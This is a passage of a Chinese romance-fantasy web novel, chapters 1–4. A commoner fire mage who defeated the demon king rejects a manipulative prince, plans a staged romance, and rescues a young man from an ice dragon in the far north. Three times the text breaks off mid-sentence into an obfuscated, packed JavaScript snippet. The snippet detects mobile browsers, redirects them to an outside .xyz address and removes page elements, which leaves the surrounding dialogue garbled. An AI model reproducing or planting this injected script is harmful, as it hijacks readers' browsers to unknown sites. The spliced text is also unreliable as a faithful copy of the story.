《拒绝王子的理由》 1. 白银王子的告白 这是玛西亚第二次参加宫廷舞会，上一次还是三年前，以魔法学院优秀毕业生的身份来接受国王的表彰。 她是平民，身上的礼服寒酸，为此她承受了不少恶意的眼神。 贵族是群麻烦的家伙，他们心里轻视你，偏偏礼数周到，而玛西亚不善言辞，嘴巴跟不上脑子。 面对那些冷嘲热讽，她只能回一句：“呃……” 玛西亚也有脾气，但吵架这件事，她总是临场发挥不好，心中百转千回，嘴上结结巴巴，事后郁闷得直挠头。 不过，今天是不一样的。 今天她作为英雄站在这里，她用强力的火焰魔法把魔王烧成了灰烬，结束了持续六十年的人魔战争。 这片大陆上的每个国家都授予了她荣誉，而她所在的亚斯特王国更曾许诺会给她一片名为怀特兰的领地，她以后就是公爵了。 玛西亚·布莱斯公爵。 于是，即便她今天依然穿着样式简单的裙子，脖颈上戴的项链是些不值钱的珠子，棕色头发盘成朴素的圆髻，也不会有人再朝她捂着嘴窃笑。 她从侍从手中接过一杯蜜色的起泡葡萄酒，润了润喉咙，只等着王室成员到齐，宣布授予她爵位和领地的事。 “瞧啊，这就是我们了不起的英雄，美丽的玛西亚·布莱斯小姐。” “我早就知道她会是我们的希望，看看她那特别的瞳色，谁见过这么好看的青绿色眼睛？像澄澈闪耀的宝石，像一汪碧蓝湖水，我想……我想我已经爱上她了。真想顺着她的目光，跃进她的心湖里游泳！” “我完全理解您。看来今后您要在魔法上多下功夫了，不然很难和她有共同话题。” 她听到后心想，我可不喜欢男魔法师。如果说女魔法师凭借魔法得到了更多自由，男魔法师则因为这碾压普通人的力量变得更傲慢了。 而且，玛西亚并不漂亮，尤其此刻她被人夸赞着的眼眸。 以前，他们说她的青绿色眼睛像草叶蛙的卵，一种介于蓝绿之间的颜色，幽冷怪异，和她暖棕色的头发不搭。 在今天之前没有人夸过她漂亮。原来功成名就之后，以前那些轻视你的家伙会像失忆一样，长出一双发现美的眼睛。 “听着，玛西亚，我辛辛苦苦供你去上学，你可千万不要三心二意，别幻想着自己可以通过嫁人飞上枝头，你那些同学不可能真的爱上你。贵族男人最不可信！你看看丽娜的下场……” 这是她每次回家妈妈惯用的开场白。 丽娜是她们可怜的邻居，年轻时被骑士搞大了肚子，两人也曾山盟海誓，轰轰烈烈，但最后他只给她留下一枚戒指，还有一个天生目盲的孩子。 不要追求浪漫的幻影，把握实际。这是读书不多的妈妈给她唯一的忠告，她也以此为信条。 有几个人走过来与她攀谈，玛西亚一如既往地应对，礼貌，但是没什么真正想要认识他们的热情。 对方一开口玛西亚就知道，他们使用的是完全不同的语言系统。她如此直白、简单……而他们委婉、复杂。 以后，要成为他们中的一员吗？ 不，这是暂时的。稍微忍一忍，到了自己的领地，肯定要怎么舒服怎么来。把妈妈接过去，盖一间有露台的大房子，每天都让妈妈有肉吃。 怀抱着某种崭新的希望，她把杯中的残酒畅快地一饮而尽。 就在这时，王室成员到来。 国王与王后携手出场，他们身后是如套娃一样的五个兄弟姐妹。 亚斯特的王族被称为白银家族，因为他们每个人的发色都几乎浅得像是白色。王室以此为荣，所以历任国王所求的王夫或王后也都以浅发色为主。 比如第一王子莱昂身侧的贝拉王储妃就有一头美丽的铂金色长发，极尽优雅，宛如月光下的天鹅。 第二王子卡尔尚未娶亲，他是玛西亚的同学，她对他太熟悉了，人人都说他是像童话故事里一样的王子，举止优雅，风度翩翩。玛西亚却只记得他在实战课上输给自己后，一脸不甘心的败相。 接下来是一对双胞胎公主，歌洛莉亚殿下与卡珊德拉殿下，今年十二岁，已经是两位端庄沉默的淑女。 最后是六岁的小王子哈里，玛西亚觉得这一家子里数他最正常，除了衣服华丽些，神态和普通的小孩子没区别。 “赞美亚斯特的太阳！” “白银家族万岁！” 众人行礼后，国王宣布庆祝战争结束的舞会正式开始，其间，他赞美了玛西亚的英勇，他称她为“布莱斯公爵”。 这让玛西亚以为紧接着他就会说把领地给她的事，可是，国王却没再提起。 为什么？不是这个流程吗？ 满腹狐疑中，音乐响起，有人朝她伸出了邀请的手。 “布莱斯小姐，能否有荣幸与您跳第一支舞？” 她循声望去，只见一个年龄略长于她的男子，正笑着站在她面前。好像叫什么兰斯……兰斯洛特伯爵。 好吧，如果这是规则。 她尊重规则，努力达到要求，只要能得到她应得的奖励就好。 突然，另一只手出现在她面前，他的皮肤更为白净，手指细长，骨节分明，指甲修成好看的弧度，身上有股特殊的香水味。 “卡尔？”她脱口而出，然后才无奈地换上尊称，“卡尔殿下。” 她讨厌他。 实力弱，这倒无所谓，毕竟她是最强的。但这个男人给她制造了太多糟糕的回忆。学生时期，她被同学们排挤，除了斯黛拉她一个朋友也没有，都是拜他所赐。 当卡尔王子赢得胜利，人们觉得理所当然，老师夸奖他，同学们则为他欢呼、鼓掌。 当玛西亚打败对手，人们便陷入诡异的沉默，然后就是音量刚好能被她听见的窃窃私语。 “卡尔王子点到为止，她呢？打得气喘吁吁，头发汗哒哒粘在脸上，这么想赢，跟野兽似的。” “就是，而且，她怎么可以攻击面部？虽然有考场防护魔法，没有人会真正受伤，但她是多没礼貌才会攻击殿下的脸啊！疯子。” “别说了。”卡尔王子淡然微笑，宽容大度，“她是平民，不要用淑女的要求去要求她，这对玛西亚不公平。” 呵。 他可真是会说话。 她在心里骂了卡尔一万次，虚伪自大、口蜜腹剑、阴险狡猾…… 可惜，她还没找到有杀伤力又不留把柄的措辞，同学们就已经簇拥着他离去。 嘴好笨。 她承认自己有短板。 在魔法学院玛西亚只有一门功课不及格，那就是“口才与辩论”。 贵族的语言系统和平民不一样，这门课当然以贵族的标准为准。玛西亚也会比喻、举例，但老师说她那只是把话说清楚而已，离“真正的表达”还差很远。 随便吧，为了想得到的东西，要忍受讨厌的过程。 她把手朝卡尔递了过去。原本想要邀请她的人也没觉得遗憾，这种情况下接受地位更高的人的邀请，很正常。 “玛西亚，你今天很漂亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15010682|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 玛西亚被他的语气吓得身体一僵，狠狠踩了他一脚。 “抱歉……不怎么会跳舞。” “是么？我记得你不仅魔法天赋高，连剑术都学得很好，舞蹈对你来说应该也不难。” “啊，我喜欢战斗的嘛。能把敌人打趴下的技能我都有在认真学。”玛西亚一边回应，一边内心煎熬。 “嗯，我知道。有关于你的一切，我都知道。” 卡尔微微眯起眼睛，紫罗兰色的美目低垂，雾一样轻柔的眼神缓缓落在她的脸上。 “你就是这点最可爱，玛西亚。” “呃……” 他在干什么？ 还想像在学校时那样，因为嫉妒，所以摇动唇舌，用惹人误会的话语把她置于险境吗？ “怎么不说话？在想什么呢。” “我在想，您为什么总捉弄我。”她无计可施，深吸一口气，直接问他。 卡尔王子露出失落的表情：“你感觉不到么？” “什么？” 他回她一个惨兮兮的笑容，比当众输给她那天还难看，眼睛莫名有些泛红，好像切洋葱时被刺激到了泪腺。 头顶的水晶灯投下旖旎美丽的斑斑光影，悠扬的音乐之声飘动着，钢琴与提琴的旋律如梦似幻地在耳畔交织。 “原来玛西亚一直不懂。” “您不说我肯定不懂。” 闻言，他扶在她腰间的那只手颤了颤。 他沉默了一会儿，缓缓开口：“有时候男人会欺负自己喜欢的女孩，好引起她的注意。” “理解不了。即便引起对方的注意，得到的也只可能是她的怨恨，不可能是好感。这样做有什么意义？” 似乎没料到自己把话说到这份上，玛西亚还是没领会他真正的意图。 卡尔王子发出一声轻轻的叹息，又像鼓起很大勇气。 “玛西亚，我喜欢你。以前，你是平民，我和你走太近会给你带来很多麻烦和非议。现在你是公爵了，你想不想做王子妃？” 当然不要！ 她想要怀特兰。那里有生长着参天古树的茂密森林、足够养活两万人的肥沃原野、一条自西向东奔流而下的泪河。 她要想领地。完全由她说了算的领地，不想要你。 玛西亚全身上下每个细胞都在发出无声的尖叫。 “可我喜欢有肌肉的强壮男人，不喜欢魔法师。” 她随便找了个借口，卡尔王子英俊，身材也不错，他是斯文的类型，于是玛西亚故意往反方向说。 “你很坦率。这也是我喜欢你的原因。” 音乐结束，她行礼离去。 贝拉王储妃从她身边错身走过，表情带着一丝难以掩饰的黯然。 玛西亚抬起头，看到莱昂王子正和一个明艳的红发女人跳舞。 “啊，现在已经不回避贝拉殿下了啊。” “有什么要紧？红发的那位无论如何也成为不了王后。贝拉殿下地位稳固，不会和这种情妇较劲。” 是吗？ 可玛西亚却觉得，贝拉殿下明明就很伤心，不发作只是碍于身份。 身份…… 她顿时被自己的判断激起一身惊悚的冷汗。 王室，贵族中的贵族，是和她截然不同的一群人。 玛西亚有种强烈的直觉——她被什么粘稠的脏东西缠住了，如果不设法脱身，就会陷入绝望的泥沼。 她要拒绝卡尔。 无论如何，拒绝他。 2. 选拔演员的标准 舞会结束后，玛西亚怀着满腹心事离开王宫，后半夜才睡着，再醒来时已经是第二天中午了。她简单地吃了点东西，出门直奔位于王都南部的平民区。 在猫尾街，有一座带有院落的两层小楼。房子很小，显得院子比实际面积更大。院子里种着一棵杏树，一棵柳树，柳树上挂了秋千，秋千旁边有口水井。盖着残雪的土地稍显空旷，但地底下埋着花卉的宿根，春天一来，这里就会变得比油画还美。 斯黛拉住在这儿。 玛西亚推门便撞见斯黛拉和亚当缠抱在一起，两个人亲得正欢。好在她还没开始扒他的衣服。 “救命，我的眼睛。” “我才该喊救命吧，你就这样闯进我家？私人住宅，公爵进来也要先敲门啊。” 斯黛拉不紧不慢地整理领口，亚当则红着脸和玛西亚打了声招呼：“玛西亚，下午好！你们先聊，我去泡茶。” 等亚当逃跑似的钻进厨房后，玛西亚才继续说：“这是客厅，不是卧室……而且，还不到下午三点钟。” “玛西亚，相爱的人拥吻不需要看时间。而且现在入了冬，亚当在休假，我们当然无时无刻不腻在一起。” 玛西亚为占用他们的亲密时光而快速道歉：“对不起，是我的问题。我遇到了麻烦，着急找你商量，没想周全。” “那么说正事吧，玛西亚。你遇到了什么麻烦？” “卡尔，卡尔突然向我表白，还问我要不要当他的王子妃。” “什么？卡尔？” “没错。” 斯黛拉一声冷笑：“又是什么恶作剧？他还不如说极北之地的冰原融化了，倒叫人觉得有几分可信。” “太好了，至少还有你站在我这边，别人只会说我不识好歹。” 斯黛拉不屑：“抛开王子的身份，卡尔这人也没什么了不起的。何况，他对你的态度一直很恶劣。” “他说他是因为喜欢我，才这样对我。” “我只能接受十五岁以下的小男孩用这种方式表达喜欢。”斯黛拉皱眉，补充道，“还得是不够聪明的小男孩。” “同意。如果真的爱一个人……” 她突然语塞，玛西亚并没有谈过恋爱，也没有喜欢的异性，在斯黛拉面前大谈爱情属实有些班门弄斧。 “总之，他应该另有目的。” “玛西亚，你的忠诚很值钱，不是吗？” “什么意思？” “他们承诺你的赏赐是领地，可是，和王子结婚的话，无论怀特兰还是你这个人形兵器一样的女人，不都还是属于亚斯特王室么？我思来想去只能是这个原因。” 斯黛拉出生在勾心斗角的贵族家庭，见过类似的计谋。 “我叔叔家有个年轻侍女，突然有一天，她觉醒了魔法天赋。你猜怎样？叔叔立刻做主让他和厨娘生的私生子和那姑娘订婚了。” “这好像不是什么奖励……” “当然不是奖励，他们固然出资支持她进入魔法学院学习，但这不就等于买下了她整个人生？即便将来她只能通过初阶魔法师试炼也没关系，我那个没有继承权的堂弟不还是娶到魔法师了么？怎么算，都不亏。” 斯黛拉的话让玛西亚醍醐灌顶，她也想到了一件事。 在玛西亚的老家，有个三十多岁的杂货店主，为了照顾前妻留下的孩子，他雇了个年轻女孩当保姆，后来他干脆和她结了婚。现在她既要照顾小孩子，要忙店里的生意，晚上还得陪男主人睡觉，反而拿不到以前的工资。 “我明白了，我和那些女孩的处境没什么本质不同。” “还是有区别的，玛西亚。”斯黛拉接过亚当端来的香浓热茶，往里面丢了块方糖，搅了搅，慢慢啜饮，“我们是魔法师。拥有力量，就拥有选择。” 斯黛拉是土魔法师，土元素魔法很少应用于战斗，但在生活中是最赚钱的一种魔法。它可以改良土壤，提高粮食和蔬菜的产量，还可以勘测矿脉、改变地形…… 这座小房子虽然不大，但一砖一瓦都是她自己的财产。因为她有能力独立生活，所以她可以违抗父母的安排，和自己喜欢的男人在一起，和真正聊得来的女孩做朋友。 “斯黛拉，谢谢你帮我理清思路。” 她说不出什么优美动听的话，只是认真看着斯黛拉的眼睛。为这个热情洋溢，坦荡又真诚的女人是她的朋友感到幸福。 “又来了，有什么好谢的？你不是一开始就觉得这件事有古怪么？我只是帮你分析了一下必须拒绝他的原因，让你更坚定而已。” 亚当在旁听了一会儿，也担忧地问：“可是，到底该怎么拒绝呢？妥善地拒绝。” 他在妥善这两个字上加重语气。 亚当是一个花农，曾去过王宫几次，给同样雅好园艺的第一王子莱昂殿下送去他新培育出来的郁金香球茎。 今年那位完全厌弃了郁金香，改种鲜红玫瑰。 亚当压低声音，说出自己听到的传闻：“我听说，那位红发小姐最初也并不愿意做人情妇，她是来王都投奔亲戚的。可是，谁在乎她的想法呢？玛西亚，即便你现在是公爵，面对王权，也得想个万无一失的理由才行，客客气气，体面地收场。” 斯黛拉认同恋人的观点：“是啊，他们真想得到什么东西一定会不择手段。得到后又不珍惜。” “那么，我也会为了捍卫我应得的东西不择手段。” 玛西亚一个人好说，大不了离开这个国家，可远在老家的妈妈该怎么办？别说出国，妈妈都没怎么离开过鸽子镇。 明明立下大功，却要狼狈逃跑么？舍下本该属于她的领地，玛西亚心里有些不服气。 “我其实想到了一个办法。”玛西亚看向斯黛拉，“我听说，白银家族重视血统，王室对新娘的纯洁有要求。” “……” 亚当错愕地沉默，不知道回什么。 斯黛拉则发出一声惊天动地的尖叫：“不是吧！你疯了？为了拒绝一个男人，随便找另一个男人？” 还未等玛西亚继续解释，斯黛拉就继续说：“除了讨厌的男同学、法杖维修店里的秃头工匠，你还认识几个男人？说什么不择手段，多厉害似的，结果就是伤害自己？” “我，我……”玛西亚被她陡然提高的音量和语速镇住，结巴了起来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15010683|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且，即便和陌生人，你也根本做不到吧。你以为那是和拔牙一样，只要鼓起勇气，眼睛一闭，疼一会儿，就会结束的事情么？” 她好像完全误会了。 玛西亚连忙说：“不，不是的，斯黛拉。我是说可以找个演员。你还记得暮星酒馆么？我想去找劳拉，让她帮我介绍个男人。他只需要跟我在人前公开恋爱就行了。” 暮星酒馆是家物美价廉的酒馆，客人多为佣兵，老板自然而然地开始兼营委托中介。 学生时代，妈妈打两份工才勉强给玛西亚交上学费，她又怎么好意思伸手问妈妈要伙食之外的钱？于是，玛西亚在这里做起了兼职。 老板劳拉是个友善和气的大姐，见她年纪小，只给她介绍一些捕捉水晶蝶、消灭老宅子里的幽灵兔之类的简单任务。她后来才知道玛西亚是那种一个火球轰过去，就能杀死一头龙的战斗法师，开始给她接大单子。得益于劳拉的照顾，在毕业之前，玛西亚的日常开销不成问题，偶尔也能吃顿大餐解馋。 “是个办法，找个挡箭牌什么的。”斯黛拉松了口气，“勉强算是一计。” 她顿了顿，继续说：“只不过，你恐怕招不到人。” “怎么会？我现在付得起报酬，任务也不难，没有危险性。重赏之下，总能找到愿意配合的人。” 斯黛拉伸了伸懒腰，顺势往亚当的怀里一靠，亚当则很自然地揽住她的肩膀。 玛西亚不解：“呃……打扰一下？” “就是故意给你看的，看懂了么？恋爱，由两个人完成。” 玛西亚默默记住，在选人标准里加了一条：会演对手戏。 “还有，你拒绝王子，转头和一个平平无奇的男人在一起，是不是很侮辱他？” 玛西亚愣住，想了想，说：“要是那样，卡尔一定会恼羞成怒。他本来就自以为是……” “所以你得去找一个真正的美男，符合你的审美。让所有人都觉得：合理，可信！玛西亚喜欢上这样的人也是没办法的事。” 难度一下子被拔到不可思议的高度。 玛西亚咬了咬嘴唇，她在权衡利弊。 和卡尔结婚，表面上成为王子妃，得到领地，实际上失去了一切。 直接拒绝王子，带着妈妈离开亚特斯，放弃辛辛苦苦赢来的名望和领地，过上郁闷的离乡生活。 找一个挡箭牌，找一个会演戏，又懂编剧，可以指导自己如何表现的美男子。坚持一段时间，让卡尔自己放弃。 “很难，但我相信，困难的事情最值得去做。”她做好了决定。 为了领地，她愿意学习说谎，学习杀人，懂得爱与仁慈，也用阴谋诡计，因为她别无选择。 喝完茶，玛西亚再次向两人道谢，没有留下吃饭，便告辞离去。她这点眼色还是有的，斯黛拉和亚当彼此相爱，彼此相爱的人会让周围的空气变得甜蜜起来，像制造了一个别人进不去的透明结界。 这种氛围到底该怎么制造出来呢？ 玛西亚指望劳拉能帮她找个好帮手。 她抬头看看已经暗下去的天空，迎着冬夜晚风，向许久未去的暮星酒馆迈步出发。 3. 远离纷扰的冰原 刚到暮星酒馆，酒馆的一位常客就招呼玛西亚坐下。 玛西亚脱去厚外套，露出一身方领口的绿裙子，长度盖到小腿肚，颜色有些沉闷，但不规则的多层打折裙摆是王都地区正在流行的样式。 “总算穿得时髦些了，玛西亚小姐。” “谢谢，你最近怎么样？潘。” “不错！除了我又一次被心上人拒绝了。” “……我对此深表遗憾。” 又是玛西亚没法儿接的话题，她回想亚当向斯黛拉表白的时候，好像没那么难。 亚当红着脸，眼眶里蓄满眼泪，颤颤说了一句：“对不起，小姐，我竟敢爱上了你……”然后，斯黛拉就露出得逞的笑容，拍了拍他的脸，说：“太好了。” “我是真的爱她！嗝……我该怎么证明我的心……” 完全醉了。 鉴于醉酒的佣兵随时会像喷泉一样呕吐，玛西亚选择离他远点。 她找了个空位，点了杯大麦酒，深褐色酒液上浮着厚厚一层泡沫，风味苦中带甜，“咕嘟咕嘟”喝完之后，她撂下酒杯，去往二楼劳拉办公的房间。 “好久不见了，玛西亚。我正发愁没有火魔法师来呢！有一个很适合你的任务，报酬丰厚。” 劳拉好像忘了玛西亚现在已经成为了公爵，虽然有名无实，但已不需要再靠接任务赚钱，国王还赐了她宅邸和仆人。 玛西亚随口一问：“是什么任务？” “有个匿名贵妇人，需要人替她送信。” 劳拉以为她对这个任务感兴趣，于是继续介绍：“收件人在极北之地，你懂的，现在那里的天气简直冻死人！除了火魔法师，谁也不愿意顶着风雪跑那么老远。” “她给多少报酬？” “十个沃伦索！” 确实是很丰厚的报酬。沃伦索是货币中最值钱的，由精金铸造，一个沃伦索可以兑换六枚普通金币，一枚金币就可以买两只活羊。 真的只是简简单单送一封信么？也许信中写了很重要的事，也许收信的是她很思念的人。 她陷入沉思，想着想着，才猛然意识到自己不是来打工的，尴尬地笑了笑。 “我其实想来拜托你为我招人。” 劳拉听了玛西亚的要求后，眉头一点点皱起，然后，她直言不讳：“玛西亚，找不到这样的人。” “为什么？标准太高了？” “对。更重要的是，和你扮演完情侣之后，他要怎么办？” “当然是分手，我并不需要他陪我演一辈子。” “话虽如此，可跟你高调地谈完恋爱，每个人都会记住他吧？你需要一张有说服力的、十分英俊的脸，但是又指望此前没什么人认识他，过后他还能回归原本的生活，从你的世界消失。我不认为王都有这样的人存在。” 劳拉说的句句在理，花钱可以雇人来工作，但人终究不是工具，不该用完就丢，让一次劳务持续影响他的人生，代价太大了。要找个本来就无牵无挂的异乡人才行，完成任务后再送他离开。 “那我再想想别的办法。” 哪天有空去外地的小剧团看看？还是守在城门，蹲一个初来乍到的流浪艺人？她只能想到这两种结识演员的途径。 离开暮星酒馆，她带着微醺醉意回到住处，准备进屋，却见门口堆着一个巨大的礼物盒。 玛西亚打了个响指，火光跳跃着出现，照亮门厅，她打开盒子，发现盒子里静静躺着一根昂贵的法杖。 沉手的乌木杆，主体雕满了花纹，顶端有一大颗红宝石，围绕着主石是亮晶晶的细钻，缠裹手柄的皮革也是上好的，软乎乎，甚至，香喷喷…… 她一下子清醒过来。 干脆去接了那个去极北之地送信的任务吧，能躲一天是一天。离开王都，路上找演员也方便。 次日，她退回了礼物，同时向国王做了简短的书面说明。 致统御亚斯特、辉耀如日的爱德华·沃斯陛下： 闻听极北之地暴发冰龙灾害，作为亚斯特的火魔法师，更作为接受陛下恩赐的公爵，臣有义务将太阳的光辉与温暖带到王国的每个角落，屠灭冰龙，挽救北地民众的生命。 愿白银家族永沐荣光，愿陛下威名随日轮巡行天际。 ——您忠诚的火焰，玛西亚·布莱斯 把信纸撂在一边，爱德华国王对卡尔的表现感到不满：“卡尔，你把她吓跑了，我的儿子在她眼里竟比冰龙还要无趣。” 卡尔后仰避开父亲的怒火，温和地微笑：“父亲，我们需要一些时间。让一个二十二岁的女人开始一段初恋并不容易，不是么？” “你最好不要让我等太久。” “当然。”他恭敬地欠身，目送父亲离去。 追求玛西亚是国王的授意，同时也是他自己的私心。不知道从什么时候开始，他只要想到玛西亚，那个除了战斗，对什么也不感兴趣的女人，就会失去克制。 她看自己的眼神和看别人的没有不同，不仅从不奉承他，还会摁着他打。 真想知道当她臣服于他时，脸上会是什么表情；当她解开衣裙，那惯于吟诵咒语的喉舌，发出的声音是否跟别的女人一样娇羞动听。 这让卡尔感到兴奋，他喜欢做这种有点儿挑战的攻略游戏。 卡尔穿过种着冬青树的庭院，步入灰白色的大理石长廊，走近高大的玻璃温室。 莱昂王子正拿着花剪，像个园丁那样忙碌。 卡尔：“我的哥哥，这到底有什么乐趣可言？你几乎一有空就来这儿。” “很难理解么？不同于养动物，植物没有头脑，也没有感情，它们的生长情况只是天气和土壤的反映。在盛放之时，我得到了无与伦比的美丽。在枯萎后，也没什么真正的可惜。你问我乐趣在哪儿？听着，乐趣就在于——它们无关紧要，使我感到放松。” “那么，现在谁是你心目中无与伦比的美丽，谁又是枯萎的花？”卡尔的嘴角微微勾起，带着一丝微不可察的讽刺。 莱昂头也不抬地说：“卡尔，难道你和别人一样，以为我对贝拉变心，跑过来指责我？” 卡尔没说话，眼神无声地扫过这一室红艳的花朵。他心想，不然呢，莱昂不仅把贝拉喜欢的花连根拔起，还搂着那个红毛女人在她眼前跳舞。 贵族夫妻貌合神离，各寻找情人的事没什么稀奇，可莱昂对妻子的爱，是不是冷却得太快了？ “和你想的正相反。卡尔，我的心不曾改变，我爱贝拉。” 卡尔大惑不解，静听哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15010684|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的解释。 “我们的先祖‘利刃女王’和王夫之间的悲剧是一个教训。你爱上了一个人，他同样爱你，于是拼了命地想要回馈，最后果真为你而死，死在你的怀中。听上去很感人对么？可实际上你只是把他变成了一面盾牌，盾牌会甘愿替你流血。” 卡尔领会了哥哥的意思：“确实。死去活来的爱太夸张了，会让事情走向失控。” 莱昂继续说：“我会给贝拉一个孩子，而那孩子以后就是新的王。贝拉会头戴后冠，被珠宝和华服围绕着，在荣耀中度过一生。爱到这种程度就可以了，不是么？” “原来如此。” “至于那个红发的安琪，确实有些可爱，只不过对我而言，她只是个……唔，美丽而无害的小玩意儿。” 莱昂王子拿起剪刀，漫不经心地切下一枝侧逸斜出的玫瑰，在冬天，浓烈的鲜红让人联想到跳动的心脏，还有傍晚时在天边燃烧的赤云。 他把花枝随手丢在一边：“你还有什么问题么？卡尔。” “没有了，谢谢你向我说明了一切。”卡尔有礼貌地告辞。 卡尔在对比中找到了自信。 玛西亚迟早会发现自己不一样，他从不像哥哥那样，和情人保持长期关系。而玛西亚是一块无主空地，她也许一直在等着他去占领。 即便她无趣，样貌普通，仍有一位王子迷恋着她。她有什么理由不爱他呢？他想不出。 一切只是时间问题。 在卡尔王子感到乐观时，玛西亚已经离开了国王赐给她的豪华宅邸，带着贵妇人的信来到极北之地。新雪压着旧雪，大地白茫茫一片，冷风呼呼吹过，鼻尖呼出的白气都要结成霜，她却还穿着在王都时那件普通的外套。 这就是火魔法师得天独厚的地方，她不怕冷，只需要做好基本的保暖，再吃顿饱饭，体温就能一直维持。 冰龙的事是真的，每年都闹一两场龙灾，但极北之地不受重视，这里除了永不融化的冰雪什么物产也没有，人口稀少，几乎收不上什么税，执政官形同虚设，亚斯特王室向来不管这儿。 玛西亚心想，送信任务不难，顺便帮当地人除害，她自己也能痛痛快快打一架，就当来散散心吧。 收信人叫克劳德·斯温，是蜡烛城堡的主人，她不知道这种地方怎么会有城堡，又起了如此奇怪的名字。 困惑之际，白色地平线上出现了一簇黑点，像墨水蹭在了纸上。是个小村子么？太好了，可以去问路。 她踩着雪，脚下咯吱咯吱地响，不断靠近这个村庄。然而，天空突然一暗，她抬头看见了冰龙巨大的白色翅膀，龙掠过她的头顶，朝着村庄飞去。 “糟了，我得快点追上它。” 她把法杖一抡，朝雪地释术，用火焰清出一条通路，融化的雪又很快重新结冰，她踩在这条冰滑梯一样的捷径上，极速地向前冲。 所谓的村庄只剩三五间还在住人的屋子，这里有几个无力搬迁的老人，还有一个年轻人。 他刚刚砍完柴，放下斧头，进到小屋中拥着火炉回温，对即将到来的危险无知无觉。 双手被冻得通红，四肢僵硬得快要不能动，可他却捧起了一本旧书，津津有味地翻阅。封皮上的烫金字依稀可辨——铁血公爵对我动心。 4. 命中注定的相遇 埃文·贝克尔的身形高大，壮到衬衫扣子几乎快要被鼓涨的胸肌崩开。尽管他的脸蛋漂亮，却是很原始的那种好看，刀削斧砍，美得很野蛮。 明明从外表看，他像那种一言不合就直接“砰砰”给人两拳的青年。然而，他实际的爱好是阅读小说，并且只读一种类型的小说——浪漫小说。 埃文的母亲生前是这类小说的狂热爱好者，兴之所至，她还会亲自动笔写一些习作片段。 说起来有些荒谬，但在这天寒地冻、资源匮乏的北地，还有什么比虚构的爱情故事更安全，更能给人慰藉呢？ 这个识字的女人和她死在战场上的丈夫一样没能寿终正寝。有一次，冰龙飞来，她来不及躲藏，只好奋力地推了孩子一把，把埃文推进菜窖。漫长的三分钟后，她死了。 “埃文，别看书了！龙……龙飞来了！” 是丽萨奶奶的大嗓门，响雷似的龙吟随之从远处传来。他猛然站起，把书合上，冲出门外，警惕地看向天空。 他努力镇定，对丽萨说：“您快叫上理查德！” 龙不会浪费力气破坏没有人的空屋。人躲进洞口狭小的菜窖后，它便无计可施。 丽萨和理查德互相搀扶着，踉跄着逃命。埃文则转身去了另一户人家，毫不犹豫地破门而入，然后，他扛起耳聋的多芬奶奶，揪住她宝贝小猫的后颈，快步跑出去。 把一人一猫送到菜窖之后，他才稍微松了口气。 还有一个人，一个脾气古怪的少年。前天，他才突然出现在这儿，饿得快昏过去，埃文给了他食物，却没得到对方的信任，他死活不跟埃文住一块儿，一个人跑去村东头漏风的空屋过了两晚。 埃文想喊他，才发现自己连人家的真名都不知道。之前给他送面包和汤的时候都是：“喂！你……” 就在这时，少年恐惧地跑了出来，冰龙也同时出现，不偏不倚落在少年面前。 龙朝他伸出蓝色的分叉舌头，少年瑟瑟发抖，腿软得像两根煮熟的面条，完全不听使唤。龙的呼吸很近，几乎要喷在他稚嫩的脸上，这时候，就不难看出他根本还是一个孩子，至多十六岁，可能还要更小一点。 埃文咬了咬牙，他无法接受有人又一次以同样的方式死在他面前。于是，他大喊一声，抄起劈柴用的长柄斧，冲了过去。 斧头猛砸在龙的小腿上，削下了几片透明的鳞。这让傲慢的龙异常愤怒，它不能理解这蚂蚁撼树的行为，人类，既然是弱小的东西，为什么不肯乖乖被它吃？ 冰龙切换目标，朝着埃文甩动鞭子似的尾巴，一下把他掀翻在地。紧接着，它张开巨口，露出森森白牙与深渊般的咽喉。 “快跑，小子！” “那你呢……” 他艰难地在雪地上了打了个滚，躲开龙的啃咬。 “跑！跑！听懂了吗？” 少年这次没有犹豫，强迫自己克服恐惧动了起来，向菜窖奔去。 勉强对抗了几个回合，龙最终用趾爪摁住了埃文。 凝望着冰龙锋利的瞳孔，他眼角有泪：“我妈妈也死在你口中么？告诉我……” 是也没办法了，埃文无力地闭上眼睛。 “轰隆——” 玛西亚对准冰龙发出一道爆破术，红光一闪之后，冰龙坚硬的白色鳞片崩裂四散，柔软的身躯立时被火焰贯穿。 “你没事吧？” 被啃食的疼痛感没有到来，埃文闻到一股焦糊的血腥味，睁开眼，他看到龙倒在地上，腹部被轰开一个大洞。 他不可思议地抬起头，对上玛西亚青绿色的眼睛，好独特的颜色，春天的颜色，又有点凉丝丝的。 “你……你救了我？” 玛西亚也发起了呆。眼前的人有着蓬乱的黑发、金色的瞳孔，外表像只冰原狼，神态却如一条可怜的看家狗，他正好奇地看着她。 